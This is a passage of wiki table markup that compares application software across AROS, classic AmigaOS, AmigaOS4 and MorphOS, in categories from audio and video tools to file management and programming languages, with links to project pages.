|&lt;!--AmigaOS4--&gt;Notepad, Annotate, CygnusED*, NoWinED, 
|&lt;!--MorphOS--&gt;MorphOS ED, NoWinED, GoldED/CubicIDE*, CygnusED*, Annotate, 
|-
|&lt;!--Sub Menu--&gt;Office Fonts [http://sourceforge.net/projects/fontforge/files/fontforge-source/ Font Designer] 
|&lt;!--AROS--&gt;[ ], [ ], 
|&lt;!--Amiga OS--&gt;TypeSmith*, SaxonScript (GetFont Adobe Type 1), 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Drawing Vector
|&lt;!--AROS--&gt;[http://sourceforge.net/projects/amifig/ ZuneFIG previously AmiFIG], [https://github.com/serk118/designworks-aros designworks aros 64bit]
|&lt;!--Amiga OS--&gt;Drawstudio*, ProVector*, ArtExpression*, Professional Draw*, AmiFIG, MetaView, [https://gitlab.com/amigasourcecodepreservation/designworks Design Works Src], [], 
|&lt;!--AmigaOS4--&gt;MindSpace, [http://www.os4depot.net/index.php?function=browse&amp;cat=graphics/edit amifig], 
|&lt;!--MorphOS--&gt;SteamDraw, [http://aminet.net/package/gfx/edit/amifig amiFIG], 
|-
|&lt;!--Sub Menu--&gt;video conferencing (jitsi) 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;source code hosting
|&lt;!--AROS--&gt;Gitlab, 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Remote Desktop (server)
|&lt;!--AROS--&gt;[http://sourceforge.net/projects/zunetools/files/VNC_Server ArosVNCServer], 
|&lt;!--Amiga OS--&gt;[http://s.guillard.free.fr/AmiVNC/AmiVNC.htm AmiVNC], [http://dspach.free.fr/amiga/avnc/index.html AVNC]
|&lt;!--AmigaOS4--&gt;[http://s.guillard.free.fr/AmiVNC/AmiVNC.htm AmiVNC] 
|MorphVNC, vncserver
|-
|&lt;!--Sub Menu--&gt;Remote Desktop (client) login and connect to another machine 
|&lt;!--AROS--&gt;[https://sourceforge.net/projects/zunetools/files/VNC_Client/ ArosVNC], [http://archives.arosworld.org/index.php?function=browse&amp;cat=network/misc rdesktop], 
|&lt;!--Amiga OS--&gt;[http://twinvnc.free.fr/index.php?menu=01&amp;lang=eng TwinVNC], [http://dspach.free.fr/amiga/vva/index.html VVA], [http://www.hd-zone.com/ RDesktop]
|&lt;!--AmigaOS4--&gt;[http://twinvnc.free.fr/index.php?menu=01&amp;lang=eng TwinVNC], [http://www.hd-zone.com/ RDesktop]
|[http://twinvnc.free.fr/index.php?menu=01&amp;lang=eng TwinVNC], [http://www.hd-zone.com/ RDesktop]
|-
|&lt;!--Sub Menu--&gt;notifications 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;Ranchero 
|&lt;!--AmigaOS4--&gt;Ringhio 
|&lt;!--MorphOS--&gt;MagicBeacon 
|-
|&lt;!--Sub Menu--&gt;Biometric facial logins and fingerprint security features 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt; 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|}

&lt;nowiki&gt;*&lt;/nowiki&gt; Commercial product.

[[#top|...to the top]]

==Audio==
{|  class=&quot;wikitable sortable&quot; 
|- 
!width:30%;|Audio
!width:10%;|AROS(x86)
!width:10%;|Commodore-Amiga OS 3.1(68k)
!width:10%;|Hyperion OS4(PPC)
!width:10%;|MorphOS(PPC)
|-
|&lt;!--Sub Menu--&gt;Playing playback Audio like MP3, [https://github.com/chrg127/gmplayer NSF], [https://github.com/kode54/lazyusf miniusf .usflib] [https://gitlab.com/kode54/psflib with pfslib], [], [], etc 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=video/play Mplayer], [ HarmonyPlayer hp], [http://www.a500.org/downloads/audio/index.xhtml playcdda] CDs, [ WildMidi Player], [https://bszili.morphos.me/ UADE mod player], [], [ RNOTunes], [ mp3Player], [], 
|&lt;!--Amiga OS--&gt;AmiNetRadio, AmigaAmp, playOGG, [https://codeberg.org/tygre/amimodradio amimodradio]
|&lt;!--AmigaOS4--&gt;TuneNet, SimplePlay, AmigaAmp, TKPlayer
|AmiNetRadio, Mplayer, Kaya, AmigaAmp
|-
|&lt;!--Sub Menu--&gt;Editing Audio 
|&lt;!--AROS--&gt;[ Audio Evolution 4] 
|&lt;!--Amiga OS--&gt;[https://sourceforge.net/projects/hd-rec/ HD-Rec Src], [http://www.sonicpulse.de/eng/news.html SoundFX], [ Samplitude], 
|&lt;!--AmigaOS4--&gt;[https://sourceforge.net/projects/hd-rec/ HD-Rec], AmiSoundED, [http://os4depot.net/?function=showfile&amp;file=audio/record/audioevolution4.lha Audio Evolution 4] 
|[http://www.hd-rec.de/HD-Rec/index.php?site=home HD-Rec], 
|-
|&lt;!--Sub Menu--&gt;Editing Tracker Music
|&lt;!--AROS--&gt;[https://github.com/hitchhikr/protrekkr Protrekkr], [ Schism Tracker], [http://archives.arosworld.org/index.php?function=browse&amp;cat=audio/tracker MilkyTracker], [http://www.hivelytracker.com/ HivelyTracker], [ Radium in AROS already],  [http://www.a500.org/downloads/development/index.xhtml libMikMod], 
|&lt;!--Amiga OS--&gt;MilkyTracker, HivelyTracker, DigiBooster, Octamed SoundStudio, [https://github.com/elindstrom/soundtracker soundtracker], 
|&lt;!--AmigaOS4--&gt;MilkyTracker, HivelyTracker, GoatTracker
|MilkyTracker, GoatTracker, DigiBooster, 
|-
|&lt;!--Sub Menu--&gt;Editing Music [], [https://github.com/kmatheussen/camd CAMD] and/or staves and musical notes on manuscript 
|&lt;!--AROS--&gt;[http://bnp.hansfaust.de/ Bars and Pipes], [], [], 
|&lt;!--Amiga OS--&gt;[http://bnp.hansfaust.de/ Bars'n'Pipes], MusicX* David &quot;Talin&quot; Joiner &amp; Craig Weeks (for Notator-X), Deluxe Music Construction Set DMCS2*, [https://github.com/timoinutilis/midi-sequencer-amigaos Horny c Src] [https://github.com/kas1e/midi-sequencer-amigaos/tree/master/HornyGCC HornyGCC OS4 src] [https://github.com/capehill/midi-sequencer-amigaos Horny OS4 fork src] [https://www.amigans.net/modules/newbb/viewtopic.php?start=0&amp;topic_id=8143&amp;order=ASC&amp;status=&amp;mode=0 OS4 thread], HD-Rec, [https://aminet.net/package/mus/midi/dominatorV1_51 Dominator], [https://github.com/royaltm/Amiga-midiIn Amiga-midiIn], [ Aegis Sonix 2.0]
|&lt;!--AmigaOS4--&gt;[https://sourceforge.net/p/hd-rec/code/HEAD/tree/ HD-Rec Src], Rockbeat, [http://bnp.hansfaust.de/download.html Bars'n'Pipes], [https://github.com/gooofy/freeaction Horny OS4 src fork], Audio Evolution 4, 
|&lt;!--MorphOS--&gt;Bars'n'Pipes, 
|-
|&lt;!--Sub Menu--&gt;Sound Sampling 
|&lt;!--AROS--&gt;[ Advanced AHI Recorder all], [https://archives.arosworld.org/index.php?function=browse&amp;cat=audio/record Audio Evolution 4], [http://www.imica.net/SitePortalPage.aspx?siteid=1&amp;did=162 Quick Record], [https://archives.arosworld.org/index.php?function=browse&amp;cat=audio/misc SOX to get AIFF 16bit files], [https://github.com/aros-development-team/AROS/tree/master/workbench/tools/AHIRecord AHIRecord], 
|&lt;!--Amiga OS--&gt;[https://aminet.net/package/mus/edit/AudioEvolution3_src Audio Evolution 3 c src], [ Samplitude]*, Audiomaster IV*, 
|&lt;!--AmigaOS4--&gt;[https://github.com/timoinutilis/phonolith-amigaos phonolith c src], HD-Rec, Audio Evolution 4,
|&lt;!--MorphOS--&gt;[https://sourceforge.net/p/hd-rec/code/HEAD/tree/ HD-Rec Src], Audio Evolution 4,
|-
|&lt;!--Sub Menu--&gt;Audio Processing like easyeffects so having limiter, compressor, convolver, equalizer and auto volume and many other plugins 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Live Looping or Audio Misc - Groovebox like
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;CD/DVD burn
|&lt;!--AROS--&gt;[https://archives.arosworld.org/index.php?function=browse&amp;cat=utility IsoTools], [https://code.google.com/p/amiga-fryingpan/ FryingPan], 
|&lt;!--Amiga OS--&gt;FryingPan, [ MakeCD], 
|&lt;!--AmigaOS4--&gt;FryingPan, AmiDVD, 
|&lt;!--MorphOS--&gt;[http://www.amiga.org/forums/printthread.php?t=58736 FryingPan], Jalopeano, 
|-
|&lt;!--Sub Menu--&gt;CD/DVD audio rip
|&lt;!--AROS--&gt;Lame, [http://www.imica.net/SitePortalPage.aspx?siteid=1&amp;cfid=0&amp;did=167 Quick CDrip],
|&lt;!--Amiga OS--&gt;Lame,  
|&lt;!--AmigaOS4--&gt;Lame, 
|&lt;!--MorphOS--&gt;Lame,  
|-
|&lt;!--Sub Menu--&gt;MP3 v1 and v2 Tagger
|&lt;!--AROS--&gt;id3ren (v1), [http://archives.arosworld.org/index.php?function=browse&amp;cat=audio/edit mp3info], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|
|-
|&lt;!--Sub Menu--&gt;Audio Convert
|&lt;!--AROS--&gt;[https://archives.arosworld.org/index.php?function=browse&amp;cat=audio/misc Sox], [], 
|&lt;!--Amiga OS--&gt;[http://aminet.net/package/mus/misc/SoundBox SoundBox], [http://aminet.net/package/mus/misc/SoundBoxKey SoundBox Key], [http://aminet.net/package/mus/edit/SampleE SampleE], sox 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;DJ mixing jamming 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;[https://github.com/djh0ffman/PT1210 Hoffman PT1210 DJ tracker], [], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Radio Automation Software [http://www.rivendellaudio.org/ Rivendell], [http://code.campware.org/projects/livesupport/report/3 Campware LiveSupport], [http://www.sourcefabric.org/en/airtime/ SourceFabric AirTime], [http://www.ohloh.net/p/mediabox404 MediaBox404], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Speakers Audio Sonos Mains AC networked wired controlled 
*2005 ZP100 with ZP80 
*2008 Zoneplayer ZP120 (multi-room wireless amp)  ZP90 receiver only with CR100 controller, 
*2009 ZonePlayer S5, 
*2010 BR100 wireless Bridge (no support),   
*2011 Play:3
*2013 Bridge (no support), Play:1,  
*2016 Arc,   Play:1,   
*Beam (Gen 2),   Playbar,  Ray,   Era 100,   Era 300,   Roam,   Move 2,   
*Sub (Gen 3),   Sub Mini,  Five,  Amp  S2 
|&lt;!--AROS--&gt;SonosController 
|&lt;!--Amiga OS--&gt;SonosController
|&lt;!--AmigaOS4--&gt;SonosController
|&lt;!--MorphOS--&gt;SonosController
|-
|&lt;!--Sub Menu--&gt;Smart Speakers 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt; 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|}

&lt;nowiki&gt;*&lt;/nowiki&gt; Commercial product.

[[#top|...to the top]]

==Video Creativity and Production==
{|  class=&quot;wikitable sortable&quot; 
|- 
!width:30%;|Video
!width:10%;|AROS(x86)
!width:10%;|Commodore-Amiga OS 3.1(68k)
!width:10%;|Hyperion OS4(PPC)
!width:10%;|MorphOS(PPC)
|-
|&lt;!--Sub Menu--&gt;Playing Video 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=video/play Mplayer], [ VAMP], [http://www.a500.org/downloads/video/index.xhtml CDXL player], [http://www.a500.org/downloads/video/index.xhtml IffAnimPlay], [], 
|&lt;!--Amiga OS--&gt;Frogger*, AMP2, MPlayer, RiVA*, MooViD*, 
|&lt;!--AmigaOS4--&gt;DvPlayer, MPlayer 
|&lt;!--MorphOS--&gt;MPlayer, Frogger, AMP2, VLC 
|-
|&lt;!--Sub Menu--&gt;Streaming Video and game streaming like OBS studio, Parsec, [https://github.com/lizardbyte/sunshine sunshine], [https://github.com/moonlight-stream/moonlight-qt moonlight], etc 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Playing DVD 
|&lt;!--AROS--&gt;[http://a-mc.biz/ AMC]*, Mplayer 
|&lt;!--Amiga OS--&gt;AMP2, Frogger 
|&lt;!--AmigaOS4--&gt;[http://a-mc.biz/ AMC]*, DvPlayer*, AMP2,  
|&lt;!--MorphOS--&gt;Mplayer 
|-
|&lt;!--Sub Menu--&gt;Screen Recording
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=video/record Screenrecorder], [ ], [ ], [ ], [ ], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;Screenrecorder, 
|-
|&lt;!--Sub Menu--&gt;Create Edit Individual Video - Amiga like OSs have no pro NLE 
|&lt;!--AROS--&gt;[ Mencoder], [ Quick Videos], [http://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/edit AVIbuild], [http://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/misc FrameBuild], FFMPEG, 
|&lt;!--Amiga OS--&gt;[ MainConcept Mainactor Broadcast*], [http://en.wikipedia.org/wiki/Video_Toaster Video Toaster*] with [https://discreetfx.com/openvideotoaster.html some c src], MacroSystem MovieShop 4.3*, proDAD Adorage*, [ IOSpirit VHI studio]*, [Gold Disk ShowMaker], [], 
|&lt;!--AmigaOS4--&gt;FFMpeg/GUI 
|&lt;!--MorphOS--&gt;Blender, Mencoder, FFmpeg
|-
|&lt;!--Sub Menu--&gt;Subtitle editor 
|&lt;!--AROS--&gt;[https://aminet.net/package/text/edit/Slarti_Arosx86ABIv0 Slarti_Arosx86ABIv0], [], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;IP-based video production workflows with High Dynamic Range (HDR), 10-bit color collaborative NDI, 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Blogging like Lemmy or kbin
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;VR face recognition for Vtubers 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;VR chatting Live2D models with Cubism type editor or [https://github.com/AyagamiDev/ayagami ayagami] like with zipped moc3 with model metadata (model3, cdi3) 
&lt;pre&gt;
Model data (cmo3)
Basic motions (can3)
Background image (png)
Set of files for embedding (runtime folder)
• Model data (moc3)
• Motion data (motion3.json)
• Model settings file (model3.json)
• Physics settings file (physics3.json)
• Display auxiliary file (cdi3.json)
&lt;/pre&gt;
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;VR chatting chatters .VRML models - standardized 3D file format for VR avatars 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;V-tubers V-tubing like Vseeface with Openseeface tracker or Vpuppr (virtual puppet project) for online live 2d / 3d art models rigging rigged LIV 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt; 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|}

&lt;nowiki&gt;*&lt;/nowiki&gt; Commercial product.

[[#top|...to the top]]


==Misc Application==
{|  class=&quot;wikitable sortable&quot; 
|- 
!width:30%;|Misc Application
!width:10%;|AROS(x86)
!width:10%;|Commodore-Amiga OS 3.1 (68k)
!width:10%;|Hyperion OS4(PPC)
!width:10%;|MorphOS(PPC)
|-
|&lt;!--Sub Menu--&gt;File Management 
|&lt;!--AROS--&gt;DOpus4, [https://github.com/BlitterStudio/dopus5 DOpus Magellan aka DOpus 5], [ Scalos], [ ], 
|&lt;!--Amiga OS--&gt;DOpus2, DOpus 4, [https://github.com/BlitterStudio/dopus5 Dopus5 Magellan], ClassAction, FileMaster, [http://www.amiga.org/forums/showthread.php?t=4897 DirWork 2]*, [https://github.com/RudolphRiedel/DiskMaster2 DiskMaster2 src], 
|&lt;!--AmigaOS4--&gt;DOpus4, [https://github.com/BlitterStudio/dopus5 Dopus5 Magellan], Filer, AmiDisk 
|&lt;!--MorphOS--&gt;DOpus4, [https://github.com/BlitterStudio/dopus5 Dopus5 Magellan], 
|-
|&lt;!--Sub Menu--&gt;File Verification / Repair 
|&lt;!--AROS--&gt;[https://arosarchives.os4depot.net/index.php?function=browse&amp;cat=utility md5sum], [https://arosarchives.os4depot.net/index.php?function=browse&amp;cat=utility/filetool asum], [http://archives.arosworld.org/index.php?function=browse&amp;cat=utility/filetool workpar2] (PAR2),  [http://zakalwe.fi/~shd/foss/cksfv/files/ compile cksfv from website], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;Par2, 
|-
|Application Installer 
|&lt;!--AROS--&gt;[], [ InstallerNG], 
|&lt;!--Amiga OS--&gt;InstallerNG, Grunch, 
|&lt;!--AmigaOS4--&gt;Jack
|&lt;!--MorphOS--&gt;Jack 
|-
|&lt;!--Sub Menu--&gt;Compression archiver [https://github.com/FS-make-simple/paq9a paq9a], [], 
|&lt;!--AROS--&gt;XAD system is a toolkit designed for handling various file and disk archiver
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;[https://aminet.net/package/util/pack/decrunchmania_os4 Crunchmania CrM2 depacker], 
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Binary Hexadecimal Editor 
|&lt;!--AROS--&gt;[https://archives.arosworld.org/index.php?function=browse&amp;cat=development/edit Zaphod], [],
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Filesystem Partition Editor formatter Disk Management
|&lt;!--AROS--&gt;[https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=1440&amp;highlight=partition&amp;pid=8821#post_8821 QuickPart], [ HDToolBox]
|&lt;!--Amiga OS--&gt;[https://github.com/stefanskotte/hdpart hdpart], [https://github.com/ChuckyGang/AmiPart AmiPart], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Filesystem Repair and backups 
|&lt;!--AROS--&gt;ArSFSDoctor, 
|&lt;!--Amiga OS--&gt;[https://aminet.net/package/disk/bakup/quarterback_src Quarterback Tools C and asm src], [ ], [ ], [ ], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;System Disk check, integrity and history [https://github.com/smartmontools/smartmontools smart tools], [], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;[], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Multiple File renaming
|&lt;!--AROS--&gt;DOpus 4 or 5, 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Anti Virus
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;VChecker, 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Random Wallpaper Desktop changer [ DOpus5], [ Scalos],  
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Alarm Clock, Timer, Stopwatch, Countdown 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=utility/workbench DClock], [http://aminet.net/util/time/AlarmClockAROS.lha AlarmClock], [], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|}


==Misc Application 2==
{|  class=&quot;wikitable sortable&quot; 
|- 
!width:30%;|Misc Application
!width:10%;|AROS(x86)
!width:10%;|Commodore-Amiga OS 3.1(68k)
!width:10%;|Hyperion OS4(PPC)
!width:10%;|MorphOS(PPC)
|-
|&lt;!--Sub Menu--&gt;C/C++ IDE Integrated Development 
|&lt;!--AROS--&gt;[https://sourceforge.net/projects/aidea/ AIDEa], [ Murks], [],  
|&lt;!--Amiga OS--&gt;[http://devplex.awardspace.biz/cubic/index.html Cubic IDE]*, [ StormC], [https://github.com/jens-maus/amide amide], [], 
|&lt;!--AmigaOS4--&gt;CodeBench , [https://gitlab.com/boemann/codecraft CodeCraft], 
|&lt;!--MorphOS--&gt;[http://devplex.awardspace.biz/cubic/index.html Cubic IDE]*, 
|-
|&lt;!--Sub Menu--&gt;C/C++ Text Editors 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=utility/text/edit FrexxEd], [https://github.com/vidarh/FrexxEd FrexxEd src], [http://archives.arosworld.org/index.php?function=browse&amp;cat=utility/text/edit Annotate] with [https://www.onyxsoft.se/files/annotate_src.lha src], 
|&lt;!--Amiga OS--&gt;[ Protext], [ CED], [], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;[https://www.onyxsoft.se/annotate.html Annotate], 
|-
|&lt;!--Sub Menu--&gt;Repository
|&lt;!--AROS--&gt;[ Git]
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;Git
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;BASIC Computer Language 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=development/language Basic4SDL], [ Ace Basic], [ X-AMOS], [SDLBasic], [ Alvyn], 
|&lt;!--Amiga OS--&gt;[http://www.amiforce.de/main.php Amiblitz 3] with [https://github.com/AmiBlitz/AmiBlitz3 Asm src], [http://amos.condor.serverpro3.com/AmosProManual/contents/c1.html Amos Pro] with [https://github.com/AmiDARK/AmosProfessionalUnity-Official-Releases Asm src], [http://aminet.net/package/dev/basic/ace24dist ACE Basic], [https://github.com/gooofy/aqb aqb], [], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;sdlBasic
|-
|&lt;!--Sub Menu--&gt;Computer Languages Translation [https://tetracorp.github.io/guide/reverse-engineering-amiga.html], [https://amigasourcecodepreservation.gitlab.io/amiga-assembler-insider-guide/], [https://github.com/kermitfrog/Amiga-Re-Engineering Rust, Ghidra and FS-UAE], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;[https://bitbucket.org/rhinoid/convert68000toc/src/main/ convert m68k seka asm-one to c], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Gui Creators
|&lt;!--AROS--&gt;[https://archives.arosworld.org/index.php?function=browse&amp;cat=development/guitool MuiBuilder], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;[ MuiBuilder],  
|-
|&lt;!--Sub Menu--&gt;Catalog .cd .ct Custom App Language Editors 
|&lt;!--AROS--&gt;FlexCat, [https://archives.arosworld.org/index.php?function=browse&amp;cat=utility Flexcat GUI], [], 
|&lt;!--Amiga OS--&gt;[http://www.geit.de/deu_simplecat.html SimpleCat], FlexCat
|&lt;!--AmigaOS4--&gt;[http://aminet.net/package/dev/misc/simplecat SimpleCat], FlexCat
|&lt;!--MorphOS--&gt;[http://www.geit.de/deu_simplecat.html SimpleCat], FlexCat
|-
|&lt;!--Sub Menu--&gt;Cross Development 
|&lt;!--AROS--&gt;[], [], 
|&lt;!--Amiga OS--&gt;[https://github.com/geekychris/amiga_mcp amiga_mcp], [https://github.com/mbergmann-sh/AmigaED4-IDE AmigaED4-IDE], [https://lemonspawn.com/turbo-rascal-syntax-error-expected-but-begin/ Turbo Rascal], [], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|}

&lt;nowiki&gt;*&lt;/nowiki&gt; Commercial product.


==Misc Application 3==
{|  class=&quot;wikitable sortable&quot; 
|- 
!width:30%;|Misc Application
!width:10%;|AROS(x86)
!width:10%;|Commodore-Amiga OS 3.1(68k)
!width:10%;|Hyperion OS4(PPC)
!width:10%;|MorphOS(PPC)
|-
|&lt;!--Sub Menu--&gt;System 
|&lt;!--AROS--&gt;[ SysExplorer], [ SysMon], [ Scout], [], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Terminals Shells CLIs 
|&lt;!--AROS--&gt;[https://tomaszstaniak.com/aros-term/ aros-term], [], [], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;OSK On Screen Keyboard
|&lt;!--AROS--&gt;[], 
|&lt;!--Amiga OS--&gt;[https://aminet.net/util/wb/OSK.lha OSK]
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Screen Magnifier Magnifying Glass Magnification 
|&lt;!--AROS--&gt;[http://www.onyxsoft.se/files/zoomit.lha ZoomIT], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Comic Book CBR CBZ format reader viewer 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/viewer comics], [http://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/viewer comicon], [], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Ebook Reader 
|&lt;!--AROS--&gt;[https://blog.alb42.de/programs/#legadon Legadon EPUB],[]
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Ebook Converter 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Text to Speech tts [https://github.com/JonathanFly/bark-installer Bark], [], 
|&lt;!--AROS--&gt;[ Echo &quot; &quot; &gt;SPEAK:A1 inbuilt], [http://archives.arosworld.org/index.php?function=browse&amp;cat=audio/misc flite], 
|&lt;!--Amiga OS--&gt;[http://www.text2speech.com translator], [https://github.com/sidick/narrator.wyoming narrator.wyoming], [], 
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=search&amp;tool=simple FLite]
|&lt;!--MorphOS--&gt;[http://se.aminet.net/pub/aminet/mus/misc/ FLite]
|-
|&lt;!--Sub Menu--&gt;Speech Voice Recognition Dictation - [http://sourceforge.net/projects/cmusphinx/files/ CMU Sphinx], [http://julius.sourceforge.jp/en_index.php?q=en/index.html Julius], [http://www.isip.piconepress.com/projects/speech/index.html ISIP], 
|&lt;!--AROS--&gt; 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Speech Voice Changer [], [], [], [], 
